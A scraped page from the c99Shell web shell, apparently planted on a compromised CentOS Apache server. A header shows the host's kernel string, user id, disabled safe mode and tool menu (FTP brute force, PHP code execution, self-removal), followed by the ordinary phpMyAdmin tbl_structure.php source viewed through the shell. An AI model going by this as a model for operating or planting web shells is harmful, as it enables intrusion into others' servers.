!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/   drwxrwxrwx
Free 51.23 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tbl_structure.php (37.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Displays table structure infos like fields/columns, indexes, size, rows
 * and allows manipulation of indexes and columns/fields
 * @package phpMyAdmin
 */

/**
 *
 */
require_once './libraries/common.inc.php';
require_once 
'./libraries/mysql_charsets.lib.php';

$GLOBALS['js_include'][] = 'jquery/jquery-ui-1.8.custom.js';
$GLOBALS['js_include'][] = 'tbl_structure.js';

/**
 * handle multiple field commands if required
 *
 * submit_mult_*_x comes from IE if <input type="img" ...> is used
 */
if (isset($_REQUEST['submit_mult_change_x'])) {
    
$submit_mult 'change';
} elseif (isset(
$_REQUEST['submit_mult_drop_x'])) {
    
$submit_mult 'drop';
} elseif (isset(
$_REQUEST['submit_mult_primary_x'])) {
    
$submit_mult 'primary';
} elseif (isset(
$_REQUEST['submit_mult_index_x'])) {
    
$submit_mult 'index';
} elseif (isset(
$_REQUEST['submit_mult_unique_x'])) {
    
$submit_mult 'unique';
} elseif (isset(
$_REQUEST['submit_mult_fulltext_x'])) {
    
$submit_mult 'ftext';
} elseif (isset(
$_REQUEST['submit_mult_browse_x'])) {
    
$submit_mult 'browse';
} elseif (isset(
$_REQUEST['submit_mult'])) {
    
$submit_mult $_REQUEST['submit_mult'];
} elseif (isset(
$_REQUEST['mult_btn']) && $_REQUEST['mult_btn'] == __('Yes')) {
    
$submit_mult 'row_delete';
    if (isset(
$_REQUEST['selected'])) {
        
$_REQUEST['selected_fld'] = $_REQUEST['selected'];
    }
}

if (! empty(
$submit_mult) && isset($_REQUEST['selected_fld'])) {
    
$err_url 'tbl_structure.php?' PMA_generate_common_url($db$table);
    if (
$submit_mult == 'browse') {
        
// browsing the table displaying only selected fields/columns
        
$GLOBALS['active_page'] = 'sql.php';
        
$sql_query '';
        foreach (
$_REQUEST['selected_fld'] as $idx => $sval) {
            if (
$sql_query == '') {
                
$sql_query .= 'SELECT ' PMA_backquote($sval);
            } else {
                
$sql_query .=  ', ' PMA_backquote($sval);
            }
        }

        
// what is this htmlspecialchars() for??
        //$sql_query .= ' FROM ' . PMA_backquote(htmlspecialchars($table));
        
$sql_query .= ' FROM ' PMA_backquote($db) . '.' PMA_backquote($table);
        require 
'./sql.php';
        exit;
    } else {
        
// handle multiple field commands
        // handle confirmation of deleting multiple fields/columns
        
$action 'tbl_structure.php';
        require 
'./libraries/mult_submits.inc.php';
        
//require_once './libraries/header.inc.php';
        //require_once './libraries/tbl_links.inc.php';

        
if (empty($message)) {
            
$message PMA_Message::success();
        }
    }
}

/**
 * Gets the relation settings
 */
$cfgRelation PMA_getRelationsParam();

/**
 * Runs common work
 */
require_once './libraries/tbl_common.php';
$url_query .= '&amp;goto=tbl_structure.php&amp;back=tbl_structure.php';
$url_params['goto'] = 'tbl_structure.php';
$url_params['back'] = 'tbl_structure.php';

/**
 * Prepares the table structure display
 */


/**
 * Gets tables informations
 */
require_once './libraries/tbl_info.inc.php';

/**
 * Displays top menu links
 */
require_once './libraries/tbl_links.inc.php';
require_once 
'./libraries/Index.class.php';

// 2. Gets table keys and retains them
// @todo should be: $server->db($db)->table($table)->primary()
$primary PMA_Index::getPrimary($table$db);

$columns_with_unique_index = array();
foreach (
PMA_Index::getFromTable($table$db) as $index) {
    if (
$index->isUnique() && $index->getChoice() == 'UNIQUE') {
        
$columns $index->getColumns();
        foreach (
$columns as $column_name => $dummy) {
            
$columns_with_unique_index[$column_name] = 1;
        }
    }
}
unset(
$index$columns$column_name$dummy);

// 3. Get fields
$fields_rs   PMA_DRIZZLE
            
PMA_DBI_query('SHOW COLUMNS FROM ' PMA_backquote($table) . ';'nullPMA_DBI_QUERY_STORE)
            : 
PMA_DBI_query('SHOW FULL FIELDS FROM ' PMA_backquote($table) . ';'nullPMA_DBI_QUERY_STORE);
$fields_cnt  PMA_DBI_num_rows($fields_rs);

// Get more complete field information
// For now, this is done just for MySQL 4.1.2+ new TIMESTAMP options
// but later, if the analyser returns more information, it
// could be executed for any MySQL version and replace
// the info given by SHOW FULL FIELDS FROM.
//
// We also need this to correctly learn if a TIMESTAMP is NOT NULL, since
// SHOW FULL FIELDS or INFORMATION_SCHEMA incorrectly says NULL
// and SHOW CREATE TABLE says NOT NULL (tested
// in MySQL 4.0.25 and 5.0.21, http://bugs.mysql.com/20910).

$show_create_table PMA_DBI_fetch_value(
        
'SHOW CREATE TABLE ' PMA_backquote($db) . '.' PMA_backquote($table),
        
01);
$analyzed_sql PMA_SQP_analyze(PMA_SQP_parse($show_create_table));

/**
 * prepare table infos
 */
// action titles (image or string)
$titles = array();
$titles['Change']               = PMA_getIcon('b_edit.png'__('Change'), true);
$titles['Drop']                 = PMA_getIcon('b_drop.png'__('Drop'), true);
$titles['NoDrop']               = PMA_getIcon('b_drop.png'__('Drop'), true);
$titles['Primary']              = PMA_getIcon('b_primary.png'__('Primary'), true);
$titles['Index']                = PMA_getIcon('b_index.png'__('Index'), true);
$titles['Unique']               = PMA_getIcon('b_unique.png'__('Unique'), true);
$titles['IdxFulltext']          = PMA_getIcon('b_ftext.png'__('Fulltext'), true);
$titles['NoPrimary']            = PMA_getIcon('bd_primary.png'__('Primary'), true);
$titles['NoIndex']              = PMA_getIcon('bd_index.png'__('Index'), true);
$titles['NoUnique']             = PMA_getIcon('bd_unique.png'__('Unique'), true);
$titles['NoIdxFulltext']        = PMA_getIcon('bd_ftext.png'__('Fulltext'), true);
$titles['BrowseDistinctValues'] = PMA_getIcon('b_browse.png'__('Browse distinct values'), true);

// hidden action titles (image and string)
$hidden_titles = array();
$hidden_titles['BrowseDistinctValues'] = PMA_getIcon('b_browse.png'__('Browse distinct values'), falsetrue);
$hidden_titles['Primary']              = PMA_getIcon('b_primary.png'__('Add primary key'), falsetrue);
$hidden_titles['NoPrimary']            = PMA_getIcon('bd_primary.png'__('Add primary key'), falsetrue);
$hidden_titles['Index']                = PMA_getIcon('b_index.png'__('Add index'), falsetrue);
$hidden_titles['NoIndex']              = PMA_getIcon('bd_index.png'__('Add index'), falsetrue);
$hidden_titles['Unique']               = PMA_getIcon('b_unique.png'__('Add unique index'), falsetrue);
$hidden_titles['NoUnique']             = PMA_getIcon('bd_unique.png'__('Add unique index'), falsetrue);
$hidden_titles['IdxFulltext']          = PMA_getIcon('b_ftext.png'__('Add FULLTEXT index'), falsetrue);
$hidden_titles['NoIdxFulltext']        = PMA_getIcon('bd_ftext.png'__('Add FULLTEXT index'), falsetrue);

/**
 * Displays the table structure ('show table' works correct since 3.23.03)
 */
/* TABLE INFORMATION */
// table header
$i 0;
?>
<form method="post" action="tbl_structure.php" name="fieldsForm" id="fieldsForm">
    <?php echo PMA_generate_common_hidden_inputs($db$table);
    echo 
'<input type="hidden" name="table_type" value=';
    if(
$db_is_information_schema) {
         echo 
'"information_schema" />';
    } else if (
$tbl_is_view) {
         echo 
'"view" />';
    } else {
         echo 
'"table" />';
    } 
?>

<table id="tablestructure" class="data">
<thead>
<tr>
    <th id="th<?php echo ++$i?>"></th>
    <th id="th<?php echo ++$i?>">#</th>
    <th id="th<?php echo ++$i?>" class="column"><?php echo __('Column'); ?></th>
    <th id="th<?php echo ++$i?>" class="type"><?php echo __('Type'); ?></th>
    <th id="th<?php echo ++$i?>" class="collation"><?php echo __('Collation'); ?></th>
    <th id="th<?php echo ++$i?>" class="attributes"><?php echo __('Attributes'); ?></th>
    <th id="th<?php echo ++$i?>" class="null"><?php echo __('Null'); ?></th>
    <th id="th<?php echo ++$i?>" class="default"><?php echo __('Default'); ?></th>
    <th id="th<?php echo ++$i?>" class="extra"><?php echo __('Extra'); ?></th>
<?php if ($db_is_information_schema || $tbl_is_view) { ?>
    <th id="th<?php echo ++$i?>" class="view"><?php echo __('View'); ?></th>
<?php } else { ?>
    <th colspan="7" id="th<?php echo ++$i?>" class="action"><?php echo __('Action'); ?></th>
<?php ?>
</tr>
</thead>
<tbody>

<?php
unset($i);

// table body

// prepare comments
$comments_map = array();
$mime_map = array();

if (
$GLOBALS['cfg']['ShowPropertyComments']) {
    require_once 
'./libraries/transformations.lib.php';

    
//$cfgRelation = PMA_getRelationsParam();

    
$comments_map PMA_getComments($db$table);

    if (
$cfgRelation['mimework'] && $cfg['BrowseMIME']) {
        
$mime_map PMA_getMIME($db$tabletrue);
    }
}

$rownum    0;
$aryFields = array();
$checked   = (!empty($checkall) ? ' checked="checked"' '');
$save_row  = array();
$odd_row   true;
while (
$row PMA_DBI_fetch_assoc($fields_rs)) {
    
$save_row[] = $row;
    
$rownum++;
    
$aryFields[]      = $row['Field'];

    
$type             $row['Type'];
    
$extracted_fieldspec PMA_extractFieldSpec($row['Type']);

    if (
'set' == $extracted_fieldspec['type'] || 'enum' == $extracted_fieldspec['type']) {
        
$type         $extracted_fieldspec['type'] . '(' .
            
str_replace("','""', '"$extracted_fieldspec['spec_in_brackets']) . ')';

        
// for the case ENUM('&#8211;','&ldquo;')
        
$type         htmlspecialchars($type);
        if(
strlen($type) > $GLOBALS['cfg']['LimitChars']) {
            
$type '<abbr title="full text">' substr($type0$GLOBALS['cfg']['LimitChars']) . '</abbr>';
        }

        
$type_nowrap  '';

        
$binary       0;
        
$unsigned     0;
        
$zerofill     0;
    } else {
        
$type_nowrap  ' nowrap="nowrap"';
        
// strip the "BINARY" attribute, except if we find "BINARY(" because
        // this would be a BINARY or VARBINARY field type
        
if (!preg_match('@BINARY[\(]@i'$type)) {
            
$type         preg_replace('@BINARY@i'''$type);
        }
        
$type         preg_replace('@ZEROFILL@i'''$type);
        
$type         preg_replace('@UNSIGNED@i'''$type);
        if (empty(
$type)) {
            
$type     ' ';
        }

        if (!
preg_match('@BINARY[\(]@i'$row['Type'])) {
            
$binary           stristr($row['Type'], 'blob') || stristr($row['Type'], 'binary');
        } else {
            
$binary           false;
        }

        
$unsigned     stristr($row['Type'], 'unsigned');
        
$zerofill     stristr($row['Type'], 'zerofill');
    }

    unset(
$field_charset);
    if ((
substr($type04) == 'char'
        
|| substr($type07) == 'varchar'
        
|| substr($type04) == 'text'
        
|| substr($type08) == 'tinytext'
        
|| substr($type010) == 'mediumtext'
        
|| substr($type08) == 'longtext'
        
|| substr($type03) == 'set'
        
|| substr($type04) == 'enum'
        
) && !$binary) {
        if (
strpos($type' character set ')) {
            
$type substr($type0strpos($type' character set '));
        }
        if (!empty(
$row['Collation'])) {
            
$field_charset $row['Collation'];
        } else {
            
$field_charset '';
        }
    } else {
        
$field_charset '';
    }

    
// Display basic mimetype [MIME]
    
if ($cfgRelation['commwork'] && $cfgRelation['mimework'] && $cfg['BrowseMIME'] && isset($mime_map[$row['Field']]['mimetype'])) {
        
$type_mime '<br />MIME: ' str_replace('_''/'$mime_map[$row['Field']]['mimetype']);
    } else {
        
$type_mime '';
    }

    
$attribute     ' ';
    if (
$binary) {
        
$attribute 'BINARY';
    }
    if (
$unsigned) {
        
$attribute 'UNSIGNED';
    }
    if (
$zerofill) {
        
$attribute 'UNSIGNED ZEROFILL';
    }

    
// MySQL 4.1.2+ TIMESTAMP options
    // (if on_update_current_timestamp is set, then it's TRUE)
    
if (isset($analyzed_sql[0]['create_table_fields'][$row['Field']]['on_update_current_timestamp'])) {
        
$attribute 'on update CURRENT_TIMESTAMP';
    }

    
// here, we have a TIMESTAMP that SHOW FULL FIELDS reports as having the
    // NULL attribute, but SHOW CREATE TABLE says the contrary. Believe
    // the latter.
    
if (!empty($analyzed_sql[0]['create_table_fields'][$row['Field']]['type']) && $analyzed_sql[0]['create_table_fields'][$row['Field']]['type'] == 'TIMESTAMP' && $analyzed_sql[0]['create_table_fields'][$row['Field']]['timestamp_not_null']) {
        
$row['Null'] = '';
    }


    if (!isset(
$row['Default'])) {
        if (
$row['Null'] == 'YES') {
            
$row['Default'] = '<i>NULL</i>';
        }
    } else {
        
$row['Default'] = htmlspecialchars($row['Default']);
    }

    
$field_encoded urlencode($row['Field']);
    
$field_name    htmlspecialchars($row['Field']);
    
$displayed_field_name $field_name;

    
// underline commented fields and display a hover-title (CSS only)

    
if (isset($comments_map[$row['Field']])) {
        
$displayed_field_name '<span class="commented_column" title="' htmlspecialchars($comments_map[$row['Field']]) . '">' $field_name '</span>';
    }

    if (
$primary && $primary->hasColumn($field_name)) {
        
$displayed_field_name '<u>' $field_name '</u>';
    }
    echo 
"\n";
    
?>
<tr class="<?php echo $odd_row 'odd''even'$odd_row = !$odd_row?>">
    <td align="center">
        <input type="checkbox" name="selected_fld[]" value="<?php echo htmlspecialchars($row['Field']); ?>" id="checkbox_row_<?php echo $rownum?><?php echo $checked?> />
    </td>
    <td align="right">
        <?php echo $rownum?>
    </td>
    <th nowrap="nowrap"><label for="checkbox_row_<?php echo $rownum?>"><?php echo $displayed_field_name?></label></th>
    <td<?php echo $type_nowrap?>><bdo dir="ltr" xml:lang="en"><?php echo $type; echo $type_mime?></bdo></td>
    <td><?php echo (empty($field_charset) ? '' '<dfn title="' PMA_getCollationDescr($field_charset) . '">' $field_charset '</dfn>'); ?></td>
    <td nowrap="nowrap" class="column_attribute"><?php echo $attribute?></td>
    <td><?php echo (($row['Null'] == 'YES') ? __('Yes') : __('No')); ?></td>
    <td nowrap="nowrap"><?php
    
if (isset($row['Default'])) {
        if (
$extracted_fieldspec['type'] == 'bit') {
            
// here, $row['Default'] contains something like b'010'
            
echo PMA_convert_bit_default_value($row['Default']);
        } else {
            echo 
$row['Default'];
        }
    }
    else {
        echo 
'<i>' _pgettext('None for default','None') . '</i>';
    } 
?></td>
    <td nowrap="nowrap"><?php echo strtoupper($row['Extra']); ?></td>
    <td align="center" class="browse">
        <a href="sql.php?<?php echo $url_query?>&amp;sql_query=<?php echo urlencode('SELECT COUNT(*) AS ' PMA_backquote(__('Rows')) . ', ' PMA_backquote($row['Field']) . ' FROM ' PMA_backquote($table) . ' GROUP BY ' PMA_backquote($row['Field']) . ' ORDER BY ' PMA_backquote($row['Field'])); ?>">
            <?php echo $titles['BrowseDistinctValues']; ?></a>
    </td>
    <?php if (! $tbl_is_view && ! $db_is_information_schema) { ?>
    <td align="center" class="edit">
        <a href="tbl_alter.php?<?php echo $url_query?>&amp;field=<?php echo $field_encoded?>">
            <?php echo $titles['Change']; ?></a>
    </td>
    <td align="center" class="drop">
        <a <?php echo ($GLOBALS['cfg']['AjaxEnable'] ? ' class="drop_column_anchor"' ''); ?> href="sql.php?<?php echo $url_query?>&amp;sql_query=<?php echo urlencode('ALTER TABLE ' PMA_backquote($table) . ' DROP ' PMA_backquote($row['Field'])); ?>&amp;dropped_column=<?php echo urlencode($row['Field']); ?>&amp;message_to_show=<?php echo urlencode(sprintf(__('Column %s has been dropped'), htmlspecialchars($row['Field']))); ?>" >
            <?php echo $titles['Drop']; ?></a>
    </td>
    <td align="center" class="primary">
        <?php
        
if ($type == 'text' || $type == 'blob' || 'ARCHIVE' == $tbl_type || ($primary && $primary->hasColumn($field_name))) {
            echo 
$titles['NoPrimary'] . "\n";
            
$primary_enabled false;
        } else {
            echo 
"\n";
            
?>
        <a class="add_primary_key_anchor" href="sql.php?<?php echo $url_query?>&amp;sql_query=<?php echo urlencode('ALTER TABLE ' PMA_backquote($table) . ($primary ' DROP PRIMARY KEY,' '') . ' ADD PRIMARY KEY(' PMA_backquote($row['Field']) . ')'); ?>&amp;message_to_show=<?php echo urlencode(sprintf(__('A primary key has been added on %s'), htmlspecialchars($row['Field']))); ?>" >
            <?php echo $titles['Primary']; ?></a>
            <?php $primary_enabled true;
        }
        echo 
"\n";
        
?>
    </td>
    <td align="center" class="unique">
        <?php
        
if ($type == 'text' || $type == 'blob' || 'ARCHIVE' == $tbl_type || isset($columns_with_unique_index[$field_name])) {
            echo 
$titles['NoUnique'] . "\n";
            
$unique_enabled false;
        } else {
            echo 
"\n";
            
?>
        <a href="sql.php?<?php echo $url_query?>&amp;sql_query=<?php echo urlencode('ALTER TABLE ' PMA_backquote($table) . ' ADD UNIQUE(' PMA_backquote($row['Field']) . ')'); ?>&amp;message_to_show=<?php echo urlencode(sprintf(__('An index has been added on %s'), htmlspecialchars($row['Field']))); ?>">
            <?php echo $titles['Unique']; ?></a>
            <?php $unique_enabled true;
        }
        echo 
"\n";
        
?>
    </td>
    <td align="center" class="index">
        <?php
        
if ($type == 'text' || $type == 'blob' || 'ARCHIVE' == $tbl_type) {
            echo 
$titles['NoIndex'] . "\n";
            
$index_enabled false;
        } else {
            echo 
"\n";
            
?>
        <a href="sql.php?<?php echo $url_query?>&amp;sql_query=<?php echo urlencode('ALTER TABLE ' PMA_backquote($table) . ' ADD INDEX(' PMA_backquote($row['Field']) . ')'); ?>&amp;message_to_show=<?php echo urlencode(sprintf(__('An index has been added on %s'), htmlspecialchars($row['Field']))); ?>">
            <?php echo $titles['Index']; ?></a>
            <?php
            $index_enabled 
true;
        }
        echo 
"\n";
        
?>
    </td>
    <?php
        
if (! empty($tbl_type) && ($tbl_type == 'MYISAM' || $tbl_type == 'ARIA' || $tbl_type == 'MARIA')
            
// FULLTEXT is possible on TEXT, CHAR and VARCHAR
            
&& (strpos(' ' $type'text') || strpos(' ' $type'char'))) {
            echo 
"\n";
            
?>
    <td align="center" nowrap="nowrap" class="fulltext">
        <a href="sql.php?<?php echo $url_query?>&amp;sql_query=<?php echo urlencode('ALTER TABLE ' PMA_backquote($table) . ' ADD FULLTEXT(' PMA_backquote($row['Field']) . ')'); ?>&amp;message_to_show=<?php echo urlencode(sprintf(__('An index has been added on %s'), htmlspecialchars($row['Field']))); ?>">
            <?php echo $titles['IdxFulltext']; ?></a>
            <?php $fulltext_enabled true?>
    </td>
            <?php
        
} else {
            echo 
"\n";
        
?>
    <td align="center" nowrap="nowrap" class="fulltext">
        <?php echo $titles['NoIdxFulltext'] . "\n"?>
        <?php $fulltext_enabled false?>
    </td>
        <?php
        
// end if... else...
        
echo "\n";
        
?>
    <td class="more_opts" id="more_opts<?php echo $rownum?>">
        <?php echo __('More'); ?> <img src="<?php echo $pmaThemeImage 'more.png'?>" alt="<?php echo __('Show more actions'); ?>" />
        <div class="structure_actions_dropdown" id="row_<?php echo $rownum?>">

            <div class="action_browse">
                <a href="sql.php?<?php echo $url_query?>&amp;sql_query=<?php echo urlencode('SELECT COUNT(*) AS ' PMA_backquote(__('Rows')) . ', ' PMA_backquote($row['Field']) . ' FROM ' PMA_backquote($table) . ' GROUP BY ' PMA_backquote($row['Field']) . ' ORDER BY ' PMA_backquote($row['Field'])); ?>">
                    <?php echo $hidden_titles['BrowseDistinctValues']; ?>
                </a>
            </div>
            <div <?php echo ($GLOBALS['cfg']['AjaxEnable'] ? ' class="action_primary"' ''); ?>>
                <?php
                
if(isset($primary_enabled)) {
                     if(
$primary_enabled) { ?>
                          <a href="sql.php?<?php echo $url_query?>&amp;sql_query=<?php echo urlencode('ALTER TABLE ' PMA_backquote($table) . ($primary ' DROP PRIMARY KEY,' '') . ' ADD PRIMARY KEY(' PMA_backquote($row['Field']) . ')'); ?>&amp;message_to_show=<?php echo urlencode(sprintf(__('A primary key has been added on %s'), htmlspecialchars($row['Field']))); ?>">
                             <?php echo $hidden_titles['Primary']; ?>
                         </a>
                     <?php
                     
} else {
                         echo 
$hidden_titles['NoPrimary'];
                     }
                } 
?>
            </div>
            <div class="action_unique">
                <?php
                
if(isset($unique_enabled)) {
                     if(
$unique_enabled) { ?>
                         <a href="sql.php?<?php echo $url_query?>&amp;sql_query=<?php echo urlencode('ALTER TABLE ' PMA_backquote($table) . ' ADD UNIQUE(' PMA_backquote($row['Field']) . ')'); ?>&amp;message_to_show=<?php echo urlencode(sprintf(__('An index has been added on %s'), htmlspecialchars($row['Field']))); ?>">
                             <?php echo $hidden_titles['Unique']; ?>
                         </a>
                     <?php
                     
} else {
                         echo 
$hidden_titles['NoUnique'];
                     }
                } 
?>
            </div>
            <div class="action_index">
               <?php
                
if(isset($index_enabled)) {
                     if(
$index_enabled) { ?>
                         <a href="sql.php?<?php echo $url_query?>&amp;sql_query=<?php echo urlencode('ALTER TABLE ' PMA_backquote($table) . ' ADD INDEX(' PMA_backquote($row['Field']) . ')'); ?>&amp;message_to_show=<?php echo urlencode(sprintf(__('An index has been added on %s'), htmlspecialchars($row['Field']))); ?>">
                             <?php echo $hidden_titles['Index']; ?>
                         </a>
                     <?php
                     
} else {
                         echo 
$hidden_titles['NoIndex'];
                     }
                  } 
?>
             </div>
            <div class="action_fulltext">
                <?php
                
if(isset($fulltext_enabled)) {
                     if(
$fulltext_enabled) { ?>
                         <a href="sql.php?<?php echo $url_query?>&amp;sql_query=<?php echo urlencode('ALTER TABLE ' PMA_backquote($table) . ' ADD FULLTEXT(' PMA_backquote($row['Field']) . ')'); ?>&amp;message_to_show=<?php echo urlencode(sprintf(__('An index has been added on %s'), htmlspecialchars($row['Field']))); ?>">
                             <?php echo $hidden_titles['IdxFulltext']; ?>
                         </a>
                     <?php
                     
} else {
                         echo 
$hidden_titles['NoIdxFulltext'];
                     }
                } 
?>
             </div>
        </div>
    </td>
    <?php
    
// end if (! $tbl_is_view && ! $db_is_information_schema)
    
?>
</tr>
    <?php
    
unset($field_charset);
// end while

echo '</tbody>' "\n"
    
.'</table>' "\n";

$checkall_url 'tbl_structure.php?' PMA_generate_common_url($db$table);
?>

<img class="selectallarrow" src="<?php echo $pmaThemeImage 'arrow_' $text_dir '.png'?>"
    width="38" height="22" alt="<?php echo __('With selected:'); ?>" />
<a href="<?php echo $checkall_url?>&amp;checkall=1"
    onclick="if (markAllRows('fieldsForm')) return false;">
    <?php echo __('Check All'); ?></a>
/
<a href="<?php echo $checkall_url?>"
    onclick="if (unMarkAllRows('fieldsForm')) return false;">
    <?php echo __('Uncheck All'); ?></a>

<i><?php echo __('With selected:'); ?></i>

<?php
PMA_buttonOrImage
('submit_mult''mult_submit''submit_mult_browse'__('Browse'), 'b_browse.png''browse');

if (! 
$tbl_is_view && ! $db_is_information_schema) {
    
PMA_buttonOrImage('submit_mult''mult_submit''submit_mult_change'__('Change'), 'b_edit.png''change');
    
PMA_buttonOrImage('submit_mult''mult_submit''submit_mult_drop'__('Drop'), 'b_drop.png''drop');
    if (
'ARCHIVE' != $tbl_type) {
        
PMA_buttonOrImage('submit_mult''mult_submit''submit_mult_primary'__('Primary'), 'b_primary.png''primary');
        
PMA_buttonOrImage('submit_mult''mult_submit''submit_mult_unique'__('Unique'), 'b_unique.png''unique');
        
PMA_buttonOrImage('submit_mult''mult_submit''submit_mult_index'__('Index'), 'b_index.png''index');
    }

    if (! empty(
$tbl_type) && ($tbl_type == 'MYISAM' || $tbl_type == 'ARIA' || $tbl_type == 'MARIA')) {
        
PMA_buttonOrImage('submit_mult''mult_submit''submit_mult_fulltext'__('Fulltext'), 'b_ftext.png''ftext');
    }
}
?>
</form>
<hr />

<?php
/**
 * Work on the table
 */
?>
<a href="tbl_printview.php?<?php echo $url_query?>"><?php
if ($cfg['PropertiesIconic']) {
    echo 
'<img class="icon" src="' $pmaThemeImage 'b_print.png" width="16" height="16" alt="' __('Print view') . '"/>';
}
echo 
__('Print view');
?></a>

<?php
if (! $tbl_is_view && ! $db_is_information_schema) {

    
// if internal relations are available, or foreign keys are supported
    // ($tbl_type comes from libraries/tbl_info.inc.php)
    
if ($cfgRelation['relwork'] || PMA_foreignkey_supported($tbl_type)) {
        
?>
<a href="tbl_relation.php?<?php echo $url_query?>"><?php
        
if ($cfg['PropertiesIconic']) {
            echo 
'<img class="icon" src="' $pmaThemeImage 'b_relations.png" width="16" height="16" alt="' __('Relation view') . '"/>';
        }
        echo 
__('Relation view');
        
?></a>
        <?php
    
}
    
?>
<a href="sql.php?<?php echo $url_query?>&amp;session_max_rows=all&amp;sql_query=<?php echo urlencode('SELECT * FROM ' PMA_backquote($table) . ' PROCEDURE ANALYSE()'); ?>"><?php
    
if ($cfg['PropertiesIconic']) {
        echo 
'<img class="icon" src="' $pmaThemeImage 'b_tblanalyse.png" width="16" height="16" alt="' __('Propose table structure') . '" />';
    }
    echo 
__('Propose table structure');
    
?></a><?php
    
echo PMA_showMySQLDocu('Extending_MySQL''procedure_analyse') . "\n";


    if(
PMA_Tracker::isActive())
    {
        echo 
'<a href="tbl_tracking.php?' $url_query '">';

        if (
$cfg['PropertiesIconic'])
        {
            echo 
'<img class="icon" src="' $pmaThemeImage 'eye.png" width="16" height="16" alt="' __('Track table') . '" /> ';
        }
        echo 
__('Track table') . '</a>';
    }
    
?>

    <br />
<form method="post" action="tbl_addfield.php"
    onsubmit="return checkFormElementInRange(this, 'num_fields', '<?php echo str_replace('\'''\\\''__('You have to add at least one column.')); ?>', 1)">
    <?php
    
echo PMA_generate_common_hidden_inputs($db$table);
    if (
$cfg['PropertiesIconic']) {
        echo 
'<img class="icon" src="' $pmaThemeImage 'b_insrow.png" width="16" height="16" alt="' __('Add column') . '"/>';
    }
    echo 
sprintf(__('Add %s column(s)'), '<input type="text" name="num_fields" size="2" maxlength="2" value="1" onfocus="this.select()" />');

    
// I tried displaying the drop-down inside the label but with Firefox
    // the drop-down was blinking
    
$fieldOptions '<select name="after_field" onclick="this.form.field_where[2].checked=true" onchange="this.form.field_where[2].checked=true">';
    foreach (
$aryFields as $fieldname) {
        
$fieldOptions .= '<option value="' htmlspecialchars($fieldname) . '">' htmlspecialchars($fieldname) . '</option>' "\n";
    }
    unset(
$aryFields);
    
$fieldOptions .= '</select>';

    
$choices = array(
        
'last'  => __('At End of Table'),
        
'first' => __('At Beginning of Table'),
        
'after' => sprintf(__('After %s'), '')
    );
    
PMA_display_html_radio('field_where'$choices'last'false);
    echo 
$fieldOptions;
    unset(
$fieldOptions$choices);
    
?>
<input type="submit" value="<?php echo __('Go'); ?>" />
</form>
<iframe class="IE_hack" scrolling="no"></iframe>
<hr />
    <?php
}

/**
 * If there are more than 20 rows, displays browse/select/insert/empty/drop
 * links again
 */
if ($fields_cnt 20) {
    require 
'./libraries/tbl_links.inc.php';
// end if ($fields_cnt > 20)

/**
 * Displays indexes
 */

if (! $tbl_is_view && ! $db_is_information_schema && 'ARCHIVE' !=  $tbl_type) {
    
/**
     * Display indexes
     */
    
echo PMA_Index::getView($table$db);
    
?>
<br />
<form action="./tbl_indexes.php" method="post"
    onsubmit="return checkFormElementInRange(this, 'idx_num_fields',
        '<?php echo str_replace('\'''\\\''__('Column count has to be larger than zero.')); ?>',
        1)">
<fieldset>
    <?php
    
echo PMA_generate_common_hidden_inputs($db$table);
    echo 
sprintf(__('Create an index on &nbsp;%s&nbsp;columns'),
        
'<input type="text" size="2" name="added_fields" value="1" />');
    
?>
    <input type="submit" name="create_index" value="<?php echo __('Go'); ?>"
        onclick="return checkFormElementInRange(this.form,
            'idx_num_fields',
            '<?php echo str_replace('\'''\\\''__('Column count has to be larger than zero.')); ?>',
            1)" />
</fieldset>
</form>
<br />
    <?php
}

PMA_generate_slider_effect('tablestatistics'__('Details...'));

/**
 * Displays Space usage and row statistics
 */
// BEGIN - Calc Table Space
// Get valid statistics whatever is the table type
if ($cfg['ShowStats']) {
    if (empty(
$showtable)) {
        
$showtable PMA_Table::sGetStatusInfo($GLOBALS['db'], $GLOBALS['table'], nulltrue);
    }

    
$nonisam     false;
    
$is_innodb = (isset($showtable['Type']) && $showtable['Type'] == 'InnoDB');
    if (isset(
$showtable['Type']) && !preg_match('@ISAM|HEAP@i'$showtable['Type'])) {
        
$nonisam true;
    }

    
// Gets some sizes

    
$mergetable PMA_Table::isMerge($GLOBALS['db'], $GLOBALS['table']);

    
// this is to display for example 261.2 MiB instead of 268k KiB
    
$max_digits 5;
    
$decimals 1;
    list(
$data_size$data_unit)         = PMA_formatByteDown($showtable['Data_length'], $max_digits$decimals);
    if (
$mergetable == false) {
        list(
$index_size$index_unit)   = PMA_formatByteDown($showtable['Index_length'], $max_digits$decimals);
    }
    
// InnoDB returns a huge value in Data_free, do not use it
    
if (! $is_innodb && isset($showtable['Data_free']) && $showtable['Data_free'] > 0) {
        list(
$free_size$free_unit)     = PMA_formatByteDown($showtable['Data_free'], $max_digits$decimals);
        list(
$effect_size$effect_unit) = PMA_formatByteDown($showtable['Data_length'] + $showtable['Index_length'] - $showtable['Data_free'], $max_digits$decimals);
    } else {
        list(
$effect_size$effect_unit) = PMA_formatByteDown($showtable['Data_length'] + $showtable['Index_length'], $max_digits$decimals);
    }
    list(
$tot_size$tot_unit)           = PMA_formatByteDown($showtable['Data_length'] + $showtable['Index_length'], $max_digits$decimals);
    if (
$table_info_num_rows 0) {
        list(
$avg_size$avg_unit)       = PMA_formatByteDown(($showtable['Data_length'] + $showtable['Index_length']) / $showtable['Rows'], 61);
    }

    
// Displays them
    
$odd_row false;
    
?>

    <a name="showusage"></a>
    <?php if (! $tbl_is_view && ! $db_is_information_schema) { ?>
    <table id="tablespaceusage" class="data">
    <caption class="tblHeaders"><?php echo __('Space usage'); ?></caption>
    <thead>
    <tr>
        <th><?php echo __('Type'); ?></th>
        <th colspan="2"><?php echo __('Usage'); ?></th>
    </tr>
    </thead>
    <tbody>
